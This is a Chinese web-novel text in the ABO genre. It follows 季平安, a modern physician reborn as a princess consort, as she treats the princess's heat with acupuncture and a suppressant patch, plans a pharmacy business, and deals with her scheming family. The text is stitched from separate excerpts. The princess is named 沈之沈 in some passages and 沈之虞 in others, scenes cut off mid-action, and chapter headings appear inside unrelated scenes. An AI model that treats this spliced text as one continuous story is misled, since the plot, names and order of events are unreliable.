道士画符是常事,她奶奶就有一手好看的毛笔字,画的符咒也好看,她从小跟着学,毛笔字写得也不错,小学时候还拿过奖。 后来不管是毛笔硬笔,她都学了一手鬼画符,主打一个别人看不懂,自己再看认不得,刚刚写药方的时候,季平安特意把字给写好看了。 安排好了之后,季平安脱去了鞋袜,还把身上的外套脱去,就上了床。 空气中弥漫着沈之沈信香的味道,冰天雪地里面,前方唯一一株山茶花散发着诱人的香味,她差点儿忍不住贴上去。 季平安用银针封住自己的嗅觉,可腺体这块,居然在逐渐发烫,对乾元来说,坤泽的信香就是致命毒药,根本无法抵挡,她只能用银针封住自己。 她感觉体内有一团火焰正在燃烧,重点灼烧的地方就是腺体,她强忍住不适,缓缓把沈之沈扶起。 沈之沈刚坐起,迷迷糊糊地就攀上了她的脖颈,“热……好热……” 听着沈之沈的呢喃,季平安赶紧对一旁的春归开口,“把殿下拉开。” 再这样下去,她也不能保证自己会不会做出些什么出格的事情,尽管她不知道出格的事情具体怎么做,可心里密密麻麻的酸涩还有渴望,让她知道,必须控制自己才行。 不然等沈之沈清醒过来,肯定会杀了她。 春来去拉沈之沈,而沈之沈跟八爪鱼一样,把季平安抱得紧紧的,还一直往她怀里钻。 要是有手机的话,真想录个视频,等沈之沈醒来给她看,不过季平安觉得,要是她看到视频,自己这条小命当场就得没。 春来扒拉了半天,都没有把沈之沈给弄开,还让她抱得更紧了。 季平安无奈,“算了,就这样吧,春归你出去。” 接下来还不知道沈之沈会做什么,为了她的自尊心着想,她决定让春归先出去。 空气来的信香越来越浓了,再这么下去,坤泽也会受到影响的。 沈之沈身上的信香,勾动着季平安身上的信香,她感受到体内的灼烧感,还有对水源的渴望,用银针扎在自己的穴道上,引起身体的疼痛,这样能尽可能地保持清醒。 身上的痛感,不是难以忍受的疼,刚好能让她不沉浸到欲望里面。 春归犹豫了,她可不敢放公主跟季平安单独待在一起,万一发生了什么,就算公主不追究,她也会以死谢罪。 “别犹豫了,快来不及了。”季平安低喝一声。 春归咬牙威胁,“季平安,我只给你半炷香的时间,若你敢对殿下不敬,我便杀了你再自裁。” 春归一直都是温和的站在一边,公主府的下人也以她为首,发火跟威胁人从未有过,这次也是担心主子有事,这才出声威胁。 对于春归的话,季平安并不放在心上,“出去!” 再磨蹭下去,她就要坚持不住了。 这回春归没有犹豫,立即走了出去,半炷香的时间,季平安想做什么怕是也来不及。 季平安哪里会做什么,她扯开了沈之沈的外衣,白皙光滑的香肩露出,她用力捏了一把自己的大腿,不让自己沉迷,拿出一根银针就扎在了沈之沈的后背。 沈之沈的身上烫得可怕,阵阵幽香不停地钻入季平安的鼻腔,勾的她快要失控。 理智正在溃散,欲望正在升腾,淡漠冷冽的幽香在勾着她的欲望,想让她放下自控,与欲望共沉沦。 季平安的信香也在被勾着释放,沈之沈有很明显的情动,再这么下去,等到信香交融,一切都来不及了。 “咬我。”迷糊中,沈之沈压抑的声音响起。 这句话击溃了季平安的理智,肩上毛茸茸,如小猫一样蹭来蹭去的小脑袋,距离她太近了,水源就在唇边,只要她歪头就能喝到能拯救自己生命的圣水。 沙漠里炙烤的时间久了,季平安的体内极致缺水,可她脑海中仅存的理智告诉她,泉水甘甜却有毒,喝了就再也没有活路。 空气中她柔和清淡的药香味与淡雅的茶香结合,就像是在喝顶级茶叶时,点上一支天然的散发着微弱药香味的沉香线香,两个自然的香味结合在一起,幽远而又迷人。 季平安又在自己身上扎了一根银针,身体的疼痛又增加了几分,理智回笼,她快速地在沈之沈的脖颈扎了几根银针,沈之沈彻底昏迷在了她的怀里。 不能再让沈之沈这么动下去了,限制住沈之沈的动作,她才能好好地开始治疗。 她感应了一下自己体内信香的不稳定,不仅不稳定,还有些兴奋,信香正在迫不及待地等着释放。 季平安用银针封锁后,信香开始在身体里面横冲直撞,不同于银针带来的痛苦,是那种来自灵魂的颤栗,它在勾着她,用疯狂暴躁的方式对待沈之沈。 空气中冬日冷冽的寒冰香,勾着她体内宁静温和的药香中,又掺杂着清新淡雅的茶香,两者正在结合。 只不过在季平安的克制下,冷冽的寒冰香占据了上风,并且在引诱着她,让她释放自己。 她感觉到自己的脸上滚烫,身体也热了起来,触碰到沈之沈时,她都分不出来谁更烫了。 再这么下去,她很难再控制住自己。 季平安也不知道为什么,她回来的时候春归这些人明明在外面,却不进来伺候,那只能是她抱人回床上了。 她刚要弯腰,就被沈之沈一把推开,“滚开!” 沈之沈坐了回去,如果季平安重生了,她为了活命一定会讨好自己,毕竟上辈子她死的时候,自己的势力正盛,几乎到了,她支持谁,谁就是未来皇帝的程度。 可是沈之沈厌恶憎恨这个人渣,对方的触碰只会让她恶心。 季平安尴尬了一瞬,但并不在意,如果她是沈之沈也会恨不得杀了前身。 堂堂长公主,从小到大受到的宠爱,得到的东西都是独一份的,没有人敢在她的面前造次,所有人对她都恭恭敬敬的,这个人渣算计她,想要把她拉下泥潭,拉下地狱。 这种人就该死,死无葬身之地才行。 季平安一本正经地拿了一颗栗子递过去,“要不,我们再坐坐?” 沈之沈怔了一下,这人渣的脾气向来不好,连连被这么对待,居然一点儿脾气都没有。 反观季平安的脸上带着温柔的笑意,眸中的坦荡与真诚,这样的眼神,莫名地让她想要去相信,季平安不是以前的那个季平安了。 一个游荡在世间的孤魂,占据了这副身体? 情绪能稳定成这样的人,实在是跟那个人渣沾不上边。 季平安的手举了一会儿,见沈之沈实在没有要接的意思,就把板栗放在了自己的嘴里。 “你若不喜我买的,可以让春归去买来吃,对你的身体有好处,我会写下几个食补的方子。” “你的身体我检查过,每次来葵水都会腹痛,厉害的时候可能连床都起不来,还有雨露期,你是不是比常人更难耐……” “滚出去!”季平安说到这里,沈之沈再也忍不住怒骂出声。 女乾元也会来葵水,只不过两三个月一次,不像坤泽和元月月都来,还有雨露期,这是坤泽比较隐私的东西,季平安就这么大咧咧地说了出来。 沈之沈没有把桌上的被子砸在季平安的头上,都算她隐忍克制了。 “怎么了?”季平安不太明白,自己这话又咋了,说好的来伺候沈之沈的,结果三番四次的惹的她生气。 沈之沈沉默,这人真不怕自己暴怒之下把她杀了吗? 但这不是她,上辈子到最后,她已经成为一个合格的长公主,玩弄皇权臣子于股掌之间,遇到事会先想利弊,若是在父皇驾崩后重生,她会不顾一切地杀了季平安,可现在,她要权衡利弊。 沈之沈讨厌这样的自己,可她不想再重复上辈子的结局,隐忍克制才是她现在要做的。 季平安见自己说话,沈之沈没有要回应的意思,也不介意,她算是看出来了,沈之沈连让她滚两次了,她不滚也没什么事情。 虽然沈之沈没有答应让她伺候,但只要她脸皮厚待着,总有机会改变对方的看法,能怎么办呢,小命要紧。 “殿下,我知你不信我,可殿下应该知道,我已入赘公主府,你我一体,荣辱与共,殿下可以不信我说什么,但可以看我做什么。” “若我做的事情,于殿下有害无利,殿下尽管杀了我。” 季平安当然不会跟沈之沈作对,不仅仅是因为想讨好她,让她不要杀了自己的原因,还有很重要的一点,自己很喜欢沈之沈这个人物,也很心疼她所经历的一切。 如果自己不能帮到她,季平安觉得,那至少不给她添麻烦。 以前沈之沈疑惑,季平安这样好看的一张脸,怎么能出现猥琐,淫邪,令人恶心的表情。 如今她又开始疑惑,季平安的眸子里面,为何会有星星,一双眸子清澈干净,根本不像是那个人渣。 说完,季平安拿起剩下的板栗就要离开,天安了,她总得回到自己的小院里去,沈之沈已经清醒,定不会再让她留下,还是明日再来吧。 她正要走,沈之沈忽然开口,“明早孤要吃城北老王家的馎饦,城西的羊肉烤饼。” 季平安一愣,她知道对方想让她去买早餐,却没有反应过来馎饦是什么,随后在前身的记忆里面找到,馎饦就是面汤的一种,面汤容易干巴,沈之沈卯时初就要起,早上五六点钟的样子,而公主府到城北城西各半个多时辰,城北到城西需要半个多时辰,还是骑马的情况下。 先不说她要提前一两个时辰出公主府,单说来回路程这么远,馎饦肯定就不能吃了,羊肉烤饼也会冷掉。 而且她要凌晨两三点出门,那跟一夜不睡有什么区别。 季平安在心里计算时间,哪知沈之沈微微抬眼,“怎么,你不愿?” 既然季平安说得这么好听,现在又不能杀了她,那总得先出口恶气吧! 季平安却被沈之沈这一眼给惊艳到了,高贵抬眼,语气慵懒,白皙修长的天鹅颈就那么暴露在空气下,修长的手指把玩着桌上的茶杯,一颦一笑都极具魅力。 她的眼睛里满是欣赏,沈之沈被她这样明目张胆,干净的眼神看得莫名有些别扭,头一次在她看向自己时,没有产生厌恶的情绪。 沈之沈蹙眉,狗东西怪会糊弄人的,还是早些杀的好。 她道:“若是没有听懂,我可以再和你说一遍。” “如果觉得复杂,便还是由我来。” 季平安也彻底回了神,“真的听懂了,殿下放心。” 沈之虞:“好……” 这个字刚出来,她便见到季平安回到原来的位置坐下。 速度很快,还带着些逃的意味。 沈之虞看着两人之间瞬间被拉远的距离,垂了下眸才继续看手上的图册。 只是某个时刻也会分神。 季平安是在刻意和她拉开距离? 第 93 章 第 93 章 季平安面前摆着三四本图册,但她真正看的却是脑海中的[大雍朝地图],因此画的速度也快不少。 沈之虞核对一张图的时间,她已经翻过了三张,看起来游刃有余。 季平安翻到下一页后,便感觉到了对面投过来的视线。 稍一细想,她就反应过来,也明白了对方在想什么。 季平安主动把自己核对完的图推到沈之虞的面前:“殿下看看我理解的对不对?” 沈之虞垂眸看过去,神色认真。 季平安能够确定她的图没有什么问题,心里也不会太过忐忑和紧张。 她的视线也开始乱看,先是沈之虞的眸眼,长长的眼睫,然后便是她高挺的鼻梁。 众人:“?”这是她们能听的吗? 沈之沈想到刚刚季平安抚平自己眉头的动作,那应该不是错觉。 听到季平安这么说,她的恨意冲天而起,曾经的屈辱一下子重现脑海中,蚀骨的恨意让她恨不得现在就杀了季平安。 单纯的死亡不足以发泄她的恨,只有让季平安痛不欲生才行。 季平安知道自己说错了话,连忙解释,“我不是那个意思,我是说,帮你贴上膏药贴,这个膏药贴是我新做的,需要贴在腺体的位置。” 她还指了指自己的腺体处,贴着同样的膏药贴,刚做出来的时候,她就给自己贴了一块。 还好她的腺体用膏药贴遮住了,不然乾元把腺体展示给坤泽看,多尴尬啊! 季平安观察了自己的腺体,就像是一个花样,平时看不出来什么,就像是一个指甲盖大小的胎记,不过她的像是一片叶子,平时都藏在头发后面。 沈之沈中毒后,头发都是披散在肩上的,柔顺的发丝,散发着清香,耳后的信香还在溢出,只不过经过施针,溢出的冷香只有一点点,正好贴上膏药贴阻止信香外泄。 “殿下,你的身体已经到了极限,不能生气,也不能让信香再次爆发,否则就算华佗再世,殿下也要残废。” 季平安不是在危言耸听,沈之沈现在需要精心呵护,等雨露期过去才能安心,下次雨露期也要谨慎,至少这一年的雨露期,都需要懂医的人在旁边看着。 她不希望沈之沈因为恨自己,就拒绝她的治疗,就目前来说,市面上关于压制信香的药丸有很多种,但能彻底平息雨露期的几乎没有。 堂堂长公主都弄不到这种药丸,太医院更是没有的东西,找遍整个大周,恐怕只有隐居的那种医道大拿才能做出来了吧,以古人的思想,那些都是不外传的。 沈之沈眉头微蹙,歪靠在床上,就那么静静地看着她,随后微微抬手,示意春归等人出去。 她什么都没有说,季平安却知道她答应了。已经出公主府的季平安,可不知道自己努力解释后,沈之沈更想杀她了,还派人盯着她。 而她是突然想起了一件事,才着急出府的。 淮安侯府的那些人,用公主府的名声敛财,皇帝知道后,表面上没有追究,很快就罢免了侯府所有人的官,重点是,这些事很快就会被揭开,沈之沈对她的观感岂不是就更差了。 她要回淮安侯府叮嘱那些人,最近老实点儿,别搞什么乱子出来,她可不想自己在沈之沈面前的形象更加糟糕了。 只要淮安侯府这些人不拖她后腿,她就能安心在公主府刷沈之沈的好感了。 像这种老牌的勋贵世家,家庭情况很复杂,宗族中数千人肯定是有的,只是前身家继承了爵位,成为侯府的主人,事实上攀附在侯府身上的吸血虫很多,那些人在外面都打着侯府的名义做事。 前身成了驸马后,那些人开始用公主府的名头作威作福,但前身自己也带头做一些伤天害理的事,源头还是在她这。 回到侯府,众多奴仆卑躬屈膝地跟她打招呼,以前的侯府哪有这么多人,只有侯府这个空架子,现在侯府也是阔起来了,奴仆添了不少。 侯府的人认为,这都是二女郎成为驸马后才有的,况且,二女郎在侯府本就受宠,老夫人喜爱这个孙辈,不允许侯爷多说一句,侯夫人是她的亲生母亲,不像大郎是原配所生,要不是占着个世子的位置,府里早就没他的位置了。 还有一个庶女郎,读书是好,可不受宠,明明比二女郎大,却没有排行。 “阿安。” 季平安刚进侯府不久,就被人叫住了,随即转身,来人是前身的阿姐,就是在翰林院的那个,因她阿娘是姨娘,平日里在侯府没什么存在感,也就中了进士后,才得到侯府的重视。 这位阿姐比前身大了五六岁,从小前身就爱欺负她,按理说两人关系不好,季晴应该不愿意见到她才对。 季平安微微颔首,“阿姐。” 季晴愣了一瞬,自季平安长大后,就再也没叫过她阿姐。 “我……阿安。” 见季晴欲言又止的模样,季平安轻声询问,“阿姐是有什么事情要跟我说吗?” 季晴藏在宽大袖子里面的手捏了捏,然后鼓起勇气道:“阿安,近日侯府在外做了太多出格的事情,还都是……” 季平安见她季疑,接过了她的话,“还都是打着公主府与我的名义?” “你知道?” 季平安点头,“今日回来,就是为了这件事。” 闻言季晴松了一口气,“还有一件事,侯府的人兼并民田,弄出了人命,外人以为是公主做的。” “什么?” 季平安心里的怒火噌蹭的上,背靠勋贵的奴仆也学会吃人了,本以为她来得够早了,没想到还是来季了一步。 季晴沉默了一会儿,“阿安,以后侯府的主人是阿兄,不是你我,我今日回来会禀告祖母还有父亲分家,你如今已是驸马,与公主府一体,还是不要跟侯府纠缠太深。” 比如侯府的人,打着公主府的旗号搞事情,这给沈之沈带去了不少麻烦,很多百姓都以为公主府跋扈,对公主府产生了不满。 季平安知道,这位阿姐今日能跟她说这些话很不容易,毕竟季晴在侯府没有靠山,没有中进士前,一句话就是一顿打,对她这个受宠的妹妹,不说厌恶,也不该亲近才是。 侯府已经烂透了,说白了,她已经入赘公主府,就不再是侯府的人,已经从泥潭里出来,就不要再陷入了才对。 而季晴几乎没有继承爵位的机会,不如趁早出府,省得到时候被牵连。 “多谢阿姐,此事我明白了。”季平安心里有数,想到沈之沈的恨,还有沈之沈被前身拖累欺辱成那样,心情越发的沉重。 而且她越发确定沈之沈是重生的了,她说自己是孤魂重生,沈之沈不知是当她胡说,还是因自己是重生的,所以并不意外。 总之,前身遗留的麻烦太多了,要不是知道侯府这边要出事,她宁愿讨好沈之沈,也不会回来,哪知事已经出了。 两人一起到了侯府老夫人那里,发现所有人都在,“祖母,父亲,母亲,兄长,嫂嫂。” 季平安与季晴一同行礼,但众人的目光都落在了季平安的身上。 自觉被忽略的季晴默默退到一边,其实这一路上,季平安发现自己这位阿姐是个健谈的人,哪怕她只是点头应声,自己也能说许多。 话中的意思基本是劝她,好好跟沈之沈过日子,谋个差事好好干,没事少往侯府来,哪怕这里有宠爱她的祖母,她的亲生母亲。 淮安侯与这任妻子成亲时,侯府没落许久了,只能娶了普通商户家不谙世事的小女儿,用京都有些人的话来说,就是有钱的冤大头。 侯府开销那么大,季平安母亲的嫁妆也没坚持几年,再加上前身好赌,嫁妆早就贴补完了。 季平安的目光从众人脸上扫过,心里大致有数。 兄长季煦立即走了过来,拍了拍她的肩膀,“老二回来也不让人提前传个话,月落呢?你怎么连个奴婢都不带。” 月落是从小跟着她的书童,只不过昨日之后,月落被控制起来了。 “月落替我办事去了。” 季平安不想多说,也不知怎么与他们寒暄,直接开口道:“我听闻侯府兼并民田弄出了人命?祖母,父亲,我如今是驸马,是皇家的人,太多眼睛盯着我了,侯府做的事情,却安在公主府的头上,你们可曾考虑过我在公主府的处境?” 说老夫人溺爱前身,那其实是知道她不能袭爵的补偿,也是为了不让母亲为了争夺爵位对季煦下手。 季煦粗犷,长得很像上一任淮安侯,对他袭爵的坚定支持者就是老夫人。 而她的这位父亲淮安侯季铭武,平庸好文,考上了秀才后,苦读十年也不曾中举,只能找关系弄了个不大不小的实职,这样的人,居然也能当金吾卫大将军,得亏不是上将军,禁军的指挥使,据说他在禁军,根本没人听他的,被下面人给架空了。 可有的时候,平庸又有野心不是一件好事。 旁的人还没说话,侯夫人上前一步,“怎么了阿安,可是公主对你说什么了?” 说罢,怒气冲冲道:“公主又如何,让你一人回府,从你们成婚到今日,都没有来给你祖母父亲,还有我请安,这样不孝之人,就是公主又如何,大不了让你父亲去朝堂上告她一状。” 闻言,季平安蹙眉,知道了前身有恃无恐的原因。 她行了一礼道:“母亲,我与长公主殿下一体,您觉得殿下不好了,我的处境会如何?” “还望母亲知道,我与殿下此生都绑在了一起,她被斥责辱骂,亦是在骂我,她被惩罚,我会替之,她若有什么三长两短,我自会生死相随!” 于是等春归几人出去后,季平安才缓缓靠近,鼻尖萦绕着沈之沈身上的香味,有一种梦幻动人心魄的感觉,似九天之上的神女。 重点是,谪仙就在自己身边,她能触碰得到,靠近后甚至能感受到沈之沈身上的温度。 迷人的芳香,让季平安以为自己置身在梦境当中,氛围一下子梦幻起来。 “别怕,刚开始有点儿凉,忍一下就好。”季平安缓缓地撩起沈之沈的发丝,眼睛只敢看向别处。 她摸索着拿起旁边的膏药贴,小心翼翼的贴在上面,又拿起一条丝带,系在了沈之沈的脖颈上。 沈之沈脖颈上的汗毛都竖了起来,细滑的绒毛,实在是可爱得紧。 一条白色的丝带系在上面,有一种莫名的欲,季平安能听到自己的心脏扑通扑通地跳,想要靠近,又怕唐突到神女。 沈之沈感受到脖后指尖上的冰凉与温柔,对方生怕伤到她似的,克制着自己的力度,拨开发丝时,都是指尖轻触,担心惊扰到她,系丝带时,她还能闻到身旁人身上的特殊的木质香。 就像是喝茶时,旁边燃上了顶尖沉香,茶香与药香味沉香的结合,让她的心都宁静了下来。 神奇的是,季平安身上的香,能平息她身上的躁动,让她似置身在清晨雨后茶园里面,上面飘散着一层缥缈的薄雾,跟现在的季平安一样,身上蒙着一层薄雾,看不清这人到底是谁。 季平安真的是外来的孤魂吗? 沈之沈微微抬眸,看见的是那样温柔认真的一张脸,她从前就觉得,人渣怎么配得上这样一张美的脸,一双眼睛充满了算计淫邪,现在的季平安完全不一样,认真的时候,就好像在发光,让人移不开眼。 有那么一瞬间,她真的相信,人渣的身体里面换了一个人。 季平安缓缓地收回手,然后拉开两人的距离,“好了,安上沐浴过后,我来给你换药。” 沈之沈颔首,内心一直在给自己洗脑,她面前的只是一个医者,所以她才能强忍住不适,接受季平安的靠近。 还有一点,有的医者为了掩饰自己的特殊手法,或者是一些秘密,很多事情都不会让别人去做。 如若不然,她绝不会让季平安靠近自己。 季平安后退了一步,迎着沈之沈冰冷的眼神开口,“殿下觉得如何?” 她脖子上也贴的有膏药,真的隔绝了信香的溢出,还平息了体内的□□。 沈之沈也细细感受了一下,刚刚她的信香还在不受控制的外泄,雨露期的信香是不受控制的,季平安施针结束后,她体内即将爆发的火山平息了下来,只不过还在沸腾着,随时都有爆发的风险,用了膏药贴之后,火山竟然彻底平静下来。 她立即想到,如今关于雨露期的药丸药剂还有膏药,效果并没有特别明显,用完药之后,要么强忍要么被标记,而她现在正常面见乾元,也不会出现什么问题。 季平安站在她面前许久了,她没有丝毫的冲动,顶级坤泽的信香也没有引得季平安变成一个被欲望控制的野兽。 现在想想,季平安的自制力还真是强,在暖阁的时候,里面弥漫着她的信香,季平安却硬生生地忍了下来,帮她施针治疗。 她听春归说,季平安在自己的身上扎了好几根银针,就是为了在帮她治疗的时候,不受到信香的影响,这样强的自制力,绝不是那个人渣所能拥有的。 话说回来,季平安研制的这个膏药一旦推出,一定会大受欢迎,没有坤泽愿意忍受雨露期的痛苦,哪怕她是长公主,来雨露期之后,也是忍过来的。 坤泽来葵水的第二年,雨露期就会跟随而来,从那时就开始忍耐,一直到葵水结束,雨露期随之结束。 可就算膏药的利润再大,她都不会跟季平安讨要药方的。 季平安见她不答,只是笑笑就继续道:“这个膏药叫抑制贴,能有效抑制信香外泄,能做到让坤泽在雨露期也能照常出门,臣的手里还有更厉害的平息丸,以及美容丸,美肌丸这些药方,臣想开设一家药馆,不知殿下对这笔生意有没有兴趣。” 从京都再到江南,直到整个大周都有分销点,这个生意想想都有许多银子进账。 更重要的一点,季平安想过了,中山王,颖王,宝安王,无论谁上位,都不会放过公主府,她跟沈之沈一体,同样只有死路一条,而且这三个人各有各的虚伪,他们不会放过她。 大周百姓需要户籍,她要是偷跑,就没有了户籍,只能算是流民,流民什么都做不了,被杀了也没有人管,而且出门需要路引,没有路引,她根本无法离开京都。 因此,逃跑之后,她要么造反,要么做野人,没有户籍跟路引,她什么都做不了,只能等沈之沈上位后,弄到户籍路引离开京都。 所以她要帮沈之沈,很大程度上也是为了自己。 沈之沈自然明白这笔生意有多赚钱,可她不想跟季平安合作,“你觉得孤会缺银子?” 季平安的唇微微勾起,早知道沈之沈会这么说,“殿下觉得若抑制贴跟平息丸这些东西推出,对全天下的坤泽来说,是一个怎样的好事?” 坤泽的雨露期很严重,这让坤泽只能成为笼中雀,遇到歹毒的乾元,还会被算计,从而被标记。 女子坤泽最为艰难,因为还多了一样葵水,正如季平安说的那样,这些东西推出,对女子坤泽是一件极好的事,至少雨露期的那几天,能跟正常时间没有太大的差别。 没有她,单靠季平安,这样惠及全天下百姓的抑制贴,很难走出京城,谁看不出这门生意的赚钱之处,惦记的人太多,一旦被人知道,这只是季平安的个人生意,这桩生意要么破产,要么沦为别人的赚钱工具。 她是坤泽还是女子,深知女子坤泽的不易,上一世与宝安王争夺大周政权时,她曾想过,如果自己为帝,将会做些什么,她要做的第一件事,就是让坤泽也能入朝为官,乾元能做的事情,女子坤泽也能做,甚至能做得更好。 这天下是沈家的,她也姓沈,凭什么这天下至尊之位只能别人坐,而她坐不得? 季平安提出来的生意,能很大程度地为她以后要做的事情打下基础。 她在心里给自己找了一个借口,当权者能屈能伸,反正暂时不会杀了季平安,那就让她在死之前,发挥自己最大的价值好了。 沈之沈沉思片刻,阴冷的眸子盯着季平安开口道:“孤可以与你合作,但孤有一个条件。” 哪有哄生病的人只问一次的。 安静,还是安静。 季平安:“……” 她躺在床上,也看不到沈之虞的神色。 难道是这次逗得狠了? 季平安刚想说点什么,挽回一下现在略显尴尬的气氛。 结果还未开口,便又听到沈之虞出了声。 “那现在要喝水吗?” 第 94 章 第 94 章 沈之虞的声音放的轻,季平安的头还晕着,恍惚间以为是她的错觉。 季平安闭着眼眸,迷糊地问道:“殿下,你刚才说话了吗?” 沈之虞看了她片刻,问了第三遍,“要不要喝水?” “喝。”季平安没有犹豫地道。 她这次能够确定,刚才听到的声音不是错觉了。 沈之虞竟然真的把她的玩笑话当了真! 意识到这点后,她的心情都好了不少,晕船带来的恶心难受,也被冲淡一些。 季平安轻轻呼出一口气,睁开眼睛,身体还能够感觉在船走在水上轻微摇晃的感觉。 她侧了下身子,伸出胳膊,想接过来杯子。 只是指尖碰到的不是瓷杯,而是微凉的腕骨。 沈之虞拦了下她的手,问道:“能拿稳吗?” “可能不行。”季平安的脑袋里又闪过一阵晕眩。 连带着身上的力气都被这阵晕眩带走,浑身难受的厉害。 闻言,沈之虞将杯口稍微靠近了些她的唇边,道:“慢些喝。” 她知道季平安不喜欢茶水,浓茶淡茶都不喜欢,杯里只有单纯的温水。 旁边的云琴和云棋对视一眼,悄无声息地出去了,候在了外面,将空间留给两人。 照顾驸马的事情,目前来看,轮不到她们两人。 季平安抿了两口,润了润略显干渴的唇瓣,便低着声音道:“殿下,不想要了。” 她喝水的欲望不大,不过是因为沈之虞问,才勉强喝下去些。 沈之虞嗯了声,将杯子重新放回到桌上。 她看着季平安还微微皱着的眉头,道:“试着睡一觉,说不定会好一点。” 水路只用走一天,季平安熬过今天便好。 季平安应了声好,闭上眼睛试着入睡。 她闭着眼眸,长睫在眼下垂下一片阴影。 不过声音很萎靡,完全没有平时的生机勃勃。 沈之虞陪在她的身边,没有离开,手上随便翻着已经整理好的河道图。 她们两人的笔迹不同,季平安可能是因为练的字少,写出来的字带了几分笨拙的端正,一笔一划都很认真。 沈之虞看了片刻图上标注的文字,便又听到了床上乾元的呢喃。 “殿下……” 她看过去,轻声问道:“怎么了?” 季平安没有回答,眉眼间却舒展了不少,看着是睡着了的模样。 沈之虞看了会儿,才收回视线,垂眸看向手中的图册- 季平安环视了一眼众人,“看我做什么,做事啊!” “我去药房看看有什么药能用上,你们照顾好殿下。” 为了不让沈之沈醒来再看到自己爆发,季平安决定还是先用药让她彻底平复下来,省得这么暴躁。 季平安让人把官服官印这些东西送到了自己的小破院子里面,自己去熬了一碗平息□□的药喝了,体内的异样感才慢慢缓和。 然后季平安才来到药房,她在里面选了制作膏药的药材,选得有些多。 毕竟她这两日就要去清远县报个到,多制作些,以防突发事件她没有回府,沈之沈正好需要。 药房里面有不少工具,她决定就在这里制作抑制膏药贴。 捣烂药材的时候,季平安的思绪不免飞走,她手里银子不多,一百多两对普通人不少,对勋贵来说,都不够去一趟平康坊的。 况且她想开药馆,不是只做中医药馆,还要连带着美容护肤什么的一起做。 比如她之前想的,中药苦涩,可以放一些药中和,让药没那么苦,或是甜的。 其实就算到了现代,中药该苦还是苦,但有一部分中药,因添加了一些药材中和变甜,很多吃不了苦的人获得了拯救,特别是小孩喂药困难,她把那些甜甜的药推出来,一定会大受欢迎,最好弄个开药熬药送药一条龙。 不过这个药模仿的快,最后只能主打一个服务外卖路线,最好还是做药丸子,想要研究怎么也得废上不小的力气,像进阶版的平息丸,美容丸,美肌丸,各种中药护肤,包括中药面膜,主打一个中医推出的美容产品。 还有香皂,中药制造的手工皂,对油脂分泌旺盛的人很有用,推出来肯定也很受欢迎。 经商这块,她并不懂,只能靠技术入股,让别人经营,而且在古代,权力越大,就越没有人敢黑你的钱,她现在是驸马,能抢她东西的也就那么一些,皇帝首辅王上这些人。 她跟沈之沈的关系再怎么不好,也是公主府的人,外面的人不敢那么大胆,皇帝也不可能抢自己女儿家生意,怪丢人的,首辅是文人,讲究个脸皮。 季平安想了一下,要是她做生意,只要沈之沈做自己的靠山,不管是经营上的麻烦,还是外界的找麻烦,都会迎刃而解,就是不知道沈之沈会不会同意跟她合作。 季平安捣碎着药材,想着接下来的打算,还是得主动出击,特别是沈之沈那边,要更主动地靠近才行。 单纯的伺候讨好也不行,还得升高自己的价值,沈之沈后期是要争夺大周政权的,需要钱的地方很多,她得从事业上能帮得上沈之沈才行。 事业私下双开花,让沈之沈离不开自己。 季平安只是想想,就觉得自己的小命安全了。 她正计划着,头顶忽然出现一道声音,“驸马不是刚当上清远县的知县吗?怎么又与药材为伍,难不成驸马真的要弃官从医?” 季平安抬头,发现是郑翳,这人真的很奇怪,总是搞的她们很熟的样子,还问一些不该问的问题。 “郑姑娘的意思是,做了官就不能从医了?” “自然不是,就是觉得驸马的医术还有方子很有意思,细看还是天人合一,阴阳五行之说,实际上里面添了许多让人看不懂的新东西。” 郑翳好奇地问道:“敢问驸马的医术是谁教的,可否请驸马解惑。” 中医的发展历史上,有丢失,也有发展,到了现代社会,中医其实很没落了,但只要有人从事,就会有发展,很多东西都是古代想不到的,除了部分要加上西医的手段,季平安都能在这个世界用出来。 所以郑翳觉得她的医术与她们不同,同出本源,却分出枝干。 “怎么,你要学?”季平安不介意把自己的医术教给别人,只要那人可靠善良,教就教了。 可她对郑翳的印象很是一般,还总是用那种自诩很厉害,老想套人家话的语气,让人不喜。 郑翳耸肩,“驸马要是愿意收我为徒的话,我当然愿意学。” 两人年龄差不多大,居然说拜师,也真说得出来。 “是吗?可我不愿教。”季平安抱着药罐就走,里面还有没完全捣碎的药材。 郑翳也没追上来,她只是说了一句,“驸马,若你想开医馆需要坐堂大夫,我愿意过去,不收钱也行。” 不收钱? 季平安回头,郑翳的脸上只有真诚,看不出别的什么。 她离开后,只见郑老太医走了出来,“阿翳,你真要选择出去做大夫吗?公主府也需要坤泽医者,说不得你能跟春归上官,还有夏去将军一样,能特例成为太医。” 郑翳摇头,“太医只是侍奉皇家的人,而我之所学,不该局限于一人两人,医者仁心。” “祖母,你带我去巡医过,我见了太多的坤泽,和元姑娘讳疾忌医,不是她们不想治,是她们不敢治,不能治,医者几乎都是乾元,我一人之力虽薄弱,也愿从女* 子内症,为天下坤泽,和元女子尽上一份力。” 郑老太医摇摇头,“你怎么觉得驸马是一个好的人选,她的名声可不好,再说,你怎么确定她会开医馆?” 郑翳冲祖母笑了笑,“我相信自己还有祖母的看人能力,而且我听到了。” 刚刚季平安理药材的时候,念叨着开医馆需要什么,她靠近的时候可都听到了。 另一边季平安还在想,郑翳怎么知道她要开医馆,难不成是刚刚自己念叨的时候,郑翳在后面偷听? 随便吧,反正也不是什么见不得人的事情。 季平安拿到药材,又回到永宁院,她让春归准备了一些器具,开始自己制造抑制膏药贴。 做驸马就是好,想要什么吩咐一句就行了,甚至她都不用亲力亲为,只要提供想法就有人去做。 可是她目前在公主府的地位一般,想要一个命令下去就有人完成,还是有点儿难度的。 抑制膏药贴制作起来不难,很快就弄好了 季平安来到寝室,银针入睡已经失效,沈之沈冷眼看着她的到来,显然已经知道了她刚刚用银针强制她入睡了。 银针入睡的时间很短,也就一盏茶的工夫,所以她一点儿都不意外沈之沈是醒着的,只是她要迎着对方冰冷充满杀意的目光迎难而上,想想她的后背就是一寒又一寒。 她可是要把膏药贴在沈之沈的腺体上,对于坤泽来说,这就是一个乾元在对自己耍流氓。 对季平安来说,自己就是在刀尖上起舞,她鼓起勇气,半晌才开口询问沈之沈,“殿下,我能触摸你的腺体吗?” 糟了!!!一紧张说秃噜嘴了! 谁说语言就不算耍流氓了呢。 将信收起来后,她们也都躺下准备睡觉。 只是季平安白日里在船上睡了许久,现在完全没有困意。 她安静了会儿,想着沈之虞应该已经睡着了,才很轻的翻了个身。 翻身完,她就听到沈之虞问:“还没睡着?” 季平安在黑暗中,看着她的轮廓嗯了声:“殿下怎么也还没有睡?” “不是很困。”沈之虞道。 季平安哦了声。 房间暗掉之后,虽然看不清楚,但耳朵却好像比平时要敏感一些。 